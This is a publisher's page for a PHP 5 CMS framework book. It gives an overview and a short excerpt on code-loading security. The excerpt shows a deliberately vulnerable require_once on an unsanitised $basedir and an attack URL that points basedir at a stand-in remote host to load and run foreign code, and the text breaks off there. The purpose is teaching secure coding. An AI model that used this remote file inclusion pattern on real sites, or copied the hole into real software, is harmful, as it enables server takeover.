Book Image

PHP 5 CMS Framework Development - 2nd Edition

By : Martin Brampton
Book Image

PHP 5 CMS Framework Development - 2nd Edition

By: Martin Brampton

Overview of this book

If you want an insight into the critical design issues and programming techniques required for a web oriented framework in PHP5, this book will be invaluable. Whether you want to build your own CMS style framework, want to understand how such frameworks are created, or simply want to review advanced PHP5 software development techniques, this book is for you.As a former development team leader on the renowned Mambo open-source content management system, author Martin Brampton offers unique insight and practical guidance into the problem of building an architecture for a web oriented framework or content management system, using the latest versions of popular web scripting language PHP.The scene-setting first chapter describes the evolution of PHP frameworks designed to support web sites by acting as content management systems. It reviews the critical and desirable features of such systems, followed by an overview of the technology and a review of the technical environment.Following chapters look at particular topics, with:• A concise statement of the problem • Discussion of the important design issues and problems faced • Creation of the framework solution At every point, there is an emphasis on effectiveness, efficiency and security – all vital attributes for sound web systems. By and large these are achieved through thoughtful design and careful implementation. Early chapters look at the best ways to handle some fundamental issues such as the automatic loading of code modules and interfaces to database systems. Digging deeper into the problems that are driven by web requirements, following chapters go deeply into session handling, caches, and access control. New for this edition is a chapter discussing the transformation of URLs to turn ugly query strings into readable strings that are believed to be more “search engine friendly” and are certainly more user friendly. This topic is then extended into a review of ways to handle “friendly” URLs without going through query strings, and how to build RESTful interfaces. The final chapter discusses the key issues that affect a wide range of specific content handlers and explores a practical example in detail.
Table of Contents (24 chapters)
PHP 5 CMS Framework Development
Second Edition
Credits
About the Author
Acknowledgement
About the Reviewers
Preface
Packaging Extensions
Packaging XML Example

Discussion and considerations


Code needs to be loaded, and this does not happen automatically without some effort on our part. The loading of code has the potential to raise serious security issues that must be tackled. There are also practical matters of how to make code as clean and efficient as possible.

Security

There has been a spate of cracks exploiting code-loading loopholes. Suppose we have a file containing PHP that is intended to be loaded for execution by other code that was triggered by the request from a user's browser. A simplified example would be:

<?php
require_once ($basedir.'/somecode.php');
// More code that is perfectly safe follows
?>

First, how does the crack work? Supposing the previous code is in a file called vulnerablecode.php, and the URI used by the cracker is something like the following: http://www.goodexample.com/pathtovulnerablecode/vulnerablecode.php?basedir=http://www.nastysite.com?.

The result is that our vulnerable code tries to load, and execute http...